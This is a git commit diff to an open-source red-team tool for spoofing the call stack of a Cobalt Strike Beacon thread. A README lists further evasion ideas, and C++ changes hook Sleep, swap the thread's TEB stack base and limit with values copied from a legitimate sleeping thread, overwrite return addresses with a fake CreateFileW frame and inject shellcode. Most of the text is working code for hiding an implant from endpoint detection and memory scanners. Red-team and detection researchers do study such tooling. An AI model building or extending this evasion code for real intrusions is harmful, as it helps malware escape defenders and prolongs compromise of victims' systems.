This commit is contained in:
Mariusz B. / mgeeky
2021-09-27 15:58:28 +02:00
parent 913f381fae
commit 6dd84dd1a6
3 changed files with 55 additions and 29 deletions
+9 -1
View File
@@ -94,7 +94,15 @@ Surely this project (and commercial implementation found in C2 frameworks) gives
The research on the subject is not yet finished and hopefully will result in a better quality _Stack Spoofing_ in upcoming days. Nonetheless, I'm releasing what I got so far in hope of sparkling inspirations and interest community into further researching this area.
Next areas improving the outcome are to research how we can _exchange_ or copy stacks (utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)` or possibly by manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress` providing shadowed TEB. Another idea would be to play with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains.
Next areas for improving the outcome are to research how we can _exchange_ or copy stacks with one of the following ideas:
1. utilising [`GetCurrentThreadStackLimits`](https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-getcurrentthreadstacklimits)/`NtQueryInformationThread`) from a legitimate thread running `kernel32!Sleep(INFINITE)`
2. manipulating our Beacon's thread `TEB/TIB` structures and fields such as `TebBaseAddress`, `NT_TIB.StackBase / NT_TIB.StackLimit` by swapping them with values taken from another legitimate thread.
3. playing with `RBP/EBP` and `RSP/ESP` pointers on a paused Beacon's thread to change stacks in a similar manner to ROP chains - by swapping values of these registers while Beacon's thread is suspended.
4. Create a new user stack with `RtlCreateUserStack` / `RtlFreeUserStack` and exchange stacks from a Beacons thread into that newly created one
## Example run
+17 -2
View File
@@ -32,6 +32,19 @@ typedef BOOL(__stdcall* typeSymInitialize)(
typedef std::unique_ptr<std::remove_pointer<HANDLE>::type, decltype(&::CloseHandle)> HandlePtr;
struct EXCEPTION_REGISTRATION
{
void* handler;
void* prevHandler;
};
struct Start_Of_TEB
{
EXCEPTION_REGISTRATION* ExceptionList;
void* StackBase;
void* StackLimit;
};
struct CallStackFrame
{
ULONG_PTR calledFrom;
@@ -51,9 +64,11 @@ struct StackTraceSpoofingMetadata
LPVOID pSymGetModuleBase64;
bool initialized;
CallStackFrame spoofedFrame[MaxStackFramesToSpoof];
CallStackFrame mimicFrame[MaxStackFramesToSpoof];
size_t spoofedFrames;
size_t mimickedFrames;
ULONG_PTR legitTebBaseLow;
ULONG_PTR legitTebBaseHigh;
ULONG_PTR origTebBaseLow;
ULONG_PTR origTebBaseHigh;
};
struct HookedSleep
+29 -26
View File
@@ -1,5 +1,6 @@
#include "header.h"
#include <intrin.h>
HookedSleep g_hookedSleep;
StackTraceSpoofingMetadata g_stackTraceSpoofing;
@@ -10,15 +11,30 @@ void WINAPI MySleep(DWORD _dwMilliseconds)
const volatile DWORD dwMilliseconds = _dwMilliseconds;
// Perform this (current) thread call stack spoofing.
spoofCallStack(true);
//spoofCallStack(true);
log("\n===> MySleep(", std::dec, dwMilliseconds, ")\n");
PULONG_PTR ptr = (PULONG_PTR)_AddressOfReturnAddress();
ptr--;
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
g_stackTraceSpoofing.origTebBaseLow = (ULONG_PTR)teb->StackBase;
g_stackTraceSpoofing.origTebBaseHigh = (ULONG_PTR)teb->StackLimit;
teb->StackBase = (void*)g_stackTraceSpoofing.legitTebBaseLow;
teb->StackLimit = (void*)g_stackTraceSpoofing.legitTebBaseHigh;
// Perform sleep emulating originally hooked functionality.
::SleepEx(dwMilliseconds, false);
teb->StackBase = (void*)g_stackTraceSpoofing.origTebBaseLow;
teb->StackLimit = (void*)g_stackTraceSpoofing.origTebBaseHigh;
// Restore original thread's call stack.
spoofCallStack(false);
//spoofCallStack(false);
}
bool fastTrampoline(bool installHook, BYTE* addressToHook, LPVOID jumpAddress, HookTrampolineBuffers* buffers /*= NULL*/)
@@ -267,23 +283,14 @@ void spoofCallStack(bool overwriteOrRestore)
{
for (size_t i = 0; i < numOfFrames; i++)
{
if (i > g_stackTraceSpoofing.mimickedFrames)
{
CallStackFrame frame = { 0 };
g_stackTraceSpoofing.spoofedFrame[g_stackTraceSpoofing.spoofedFrames++] = frame;
break;
}
auto& frame = frames[i];
auto& mimicframe = g_stackTraceSpoofing.mimicFrame[i];
if (g_stackTraceSpoofing.spoofedFrames < MaxStackFramesToSpoof)
{
//
// We will use CreateFileW as a fake return address to place onto the thread's frame on stack.
//
//frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
frame.overwriteWhat = (ULONG_PTR)mimicframe.retAddr;
frame.overwriteWhat = (ULONG_PTR)::CreateFileW;
//
// We're saving original frame to later use it for call stack restoration.
@@ -454,17 +461,15 @@ bool injectShellcode(std::vector<uint8_t>& shellcode, HandlePtr &thread)
return (NULL != thread.get());
}
/*
void _acquireLegitimateThreadStack(LPVOID param)
void WINAPI _acquireLegitimateThreadStack(LPVOID param)
{
ULONG_PTR lowLimit = 0, highLimit = 0;
ULONG stackSize = highLimit - lowLimit;
GetCurrentThreadStackLimits(&lowLimit, &highLimit);
g_stackTraceSpoofing.legitimateStackContents.resize(stackSize, 0);
memcpy(g_stackTraceSpoofing.legitimateStackContents.data(), (const void*)lowLimit, stackSize);
Start_Of_TEB* teb = (Start_Of_TEB*)NtCurrentTeb();
g_stackTraceSpoofing.legitTebBaseLow = (ULONG_PTR)teb->StackBase;
g_stackTraceSpoofing.legitTebBaseHigh = (ULONG_PTR)teb->StackLimit;
::SleepEx(INFINITE, false);
}
*/
bool acquireLegitimateThreadStack()
{
@@ -474,7 +479,8 @@ bool acquireLegitimateThreadStack()
HandlePtr secondThread(::CreateThread(
NULL,
0,
(LPTHREAD_START_ROUTINE)::Sleep,
//(LPTHREAD_START_ROUTINE)::Sleep,
(LPTHREAD_START_ROUTINE)_acquireLegitimateThreadStack,
(LPVOID)INFINITE,
0,
0
@@ -482,12 +488,9 @@ bool acquireLegitimateThreadStack()
Sleep(1000);
walkCallStack(secondThread.get(), g_stackTraceSpoofing.mimicFrame, _countof(g_stackTraceSpoofing.mimicFrame), &g_stackTraceSpoofing.mimickedFrames, false, 0);
return g_stackTraceSpoofing.mimickedFrames > 0;
return true;
}
int main(int argc, char** argv)
{
if (argc < 3)